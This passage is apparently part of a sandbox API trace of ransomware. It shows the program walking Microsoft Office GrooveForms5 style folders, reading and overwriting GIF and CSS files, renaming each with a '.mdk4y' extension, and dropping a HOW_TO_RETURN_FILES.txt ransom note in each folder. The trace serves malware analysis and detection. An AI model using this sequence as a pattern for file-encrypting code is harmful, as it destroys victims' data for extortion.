(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826299700000) returned 1 [0187.767] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x155, lpOverlapped=0x0) returned 1 [0187.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826299800000) returned 1 [0187.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826299800000) returned 1 [0187.768] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif.mdk4y")) returned 1 [0187.771] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.771] AreFileApisANSI () returned 1 [0187.771] GetACP () returned 0x4e4 [0187.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0187.771] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826300200000) returned 1 [0187.772] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xde, lpOverlapped=0x0) returned 1 [0187.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826300300000) returned 1 [0187.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826300300000) returned 1 [0187.773] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif.mdk4y")) returned 1 [0187.775] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0187.775] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0187.775] AreFileApisANSI () returned 1 [0187.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0187.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.776] GetFileType (hFile=0x114) returned 0x1 [0187.776] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.776] AreFileApisANSI () returned 1 [0187.776] GetACP () returned 0x4e4 [0187.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrayCheck.css", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GrayCheck.csss", lpUsedDefaultChar=0x37de34) returned 13 [0187.777] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826300700000) returned 1 [0187.777] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xbea, lpOverlapped=0x0) returned 1 [0187.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826302200000) returned 1 [0187.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826302200000) returned 1 [0187.792] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css.mdk4y")) returned 1 [0187.794] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.794] AreFileApisANSI () returned 1 [0187.794] GetACP () returned 0x4e4 [0187.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GreenTea.css", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GreenTea.csss", lpUsedDefaultChar=0x37de34) returned 12 [0187.794] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826302500000) returned 1 [0187.795] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x752, lpOverlapped=0x0) returned 1 [0187.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826305400000) returned 1 [0187.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826305400000) returned 1 [0187.824] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css.mdk4y")) returned 1 [0187.826] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.826] AreFileApisANSI () returned 1 [0187.826] GetACP () returned 0x4e4 [0187.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LightSpirit.css", cchWideChar=15, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="LightSpirit.csss", lpUsedDefaultChar=0x37de34) returned 15 [0187.826] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826305700000) returned 1 [0187.827] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x7c4, lpOverlapped=0x0) returned 1 [0187.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826310700000) returned 1 [0187.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826310700000) returned 1 [0187.877] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css.mdk4y")) returned 1 [0187.878] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.878] AreFileApisANSI () returned 1 [0187.878] GetACP () returned 0x4e4 [0187.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Lime", cchWideChar=4, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="LimetSpirit.css", lpUsedDefaultChar=0x37de34) returned 4 [0187.878] AreFileApisANSI () returned 1 [0187.878] GetACP () returned 0x4e4 [0187.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=78, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\j") returned 78 [0187.879] AreFileApisANSI () returned 1 [0187.879] GetACP () returned 0x4e4 [0187.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0187.879] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.879] AreFileApisANSI () returned 1 [0187.879] GetACP () returned 0x4e4 [0187.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0187.879] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.879] AreFileApisANSI () returned 1 [0187.879] GetACP () returned 0x4e4 [0187.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0187.879] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826311000000) returned 1 [0187.880] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1ce, lpOverlapped=0x0) returned 1 [0187.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826311100000) returned 1 [0187.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826311100000) returned 1 [0187.881] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif.mdk4y")) returned 1 [0187.882] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.882] AreFileApisANSI () returned 1 [0187.882] GetACP () returned 0x4e4 [0187.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0187.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826311200000) returned 1 [0187.882] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x10b, lpOverlapped=0x0) returned 1 [0187.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826311300000) returned 1 [0187.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826311300000) returned 1 [0187.883] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif.mdk4y")) returned 1 [0187.884] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0187.884] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0187.885] AreFileApisANSI () returned 1 [0187.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0187.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.921] GetFileType (hFile=0x114) returned 0x1 [0187.921] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.921] AreFileApisANSI () returned 1 [0187.921] GetACP () returned 0x4e4 [0187.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Lime.css", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Lime.cssrit.css", lpUsedDefaultChar=0x37de34) returned 8 [0187.922] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826315200000) returned 1 [0187.922] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xd77, lpOverlapped=0x0) returned 1 [0187.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826315400000) returned 1 [0187.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826315400000) returned 1 [0187.924] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css.mdk4y")) returned 1 [0187.925] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.925] AreFileApisANSI () returned 1 [0187.925] GetACP () returned 0x4e4 [0187.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Maroon.css", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Maroon.csst.css", lpUsedDefaultChar=0x37de34) returned 10 [0187.925] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826315500000) returned 1 [0187.925] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x715, lpOverlapped=0x0) returned 1 [0188.221] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826345100000) returned 1 [0188.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826345100000) returned 1 [0188.222] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css.mdk4y")) returned 1 [0188.224] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0188.224] AreFileApisANSI () returned 1 [0188.224] GetACP () returned 0x4e4 [0188.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oasis", cchWideChar=5, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Oasisn.css", lpUsedDefaultChar=0x37de34) returned 5 [0188.224] AreFileApisANSI () returned 1 [0188.224] GetACP () returned 0x4e4 [0188.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=79, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\j") returned 79 [0188.224] AreFileApisANSI () returned 1 [0188.224] GetACP () returned 0x4e4 [0188.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0188.225] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0188.225] AreFileApisANSI () returned 1 [0188.225] GetACP () returned 0x4e4 [0188.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0188.225] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0188.225] AreFileApisANSI () returned 1 [0188.225] GetACP () returned 0x4e4 [0188.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dda8) returned 10 [0188.225] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0188.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826345500000) returned 1 [0188.225] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x86c, lpOverlapped=0x0) returned 1 [0188.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826345600000) returned 1 [0188.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826345600000) returned 1 [0188.227] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif.mdk4y")) returned 1 [0188.227] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0188.227] AreFileApisANSI () returned 1 [0188.228] GetACP () returned 0x4e4 [0188.228] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0188.228] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0188.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826345800000) returned 1 [0188.228] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1f0, lpOverlapped=0x0) returned 1 [0188.229] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826345900000) returned 1 [0188.229] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826345900000) returned 1 [0188.229] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="C:\\Program 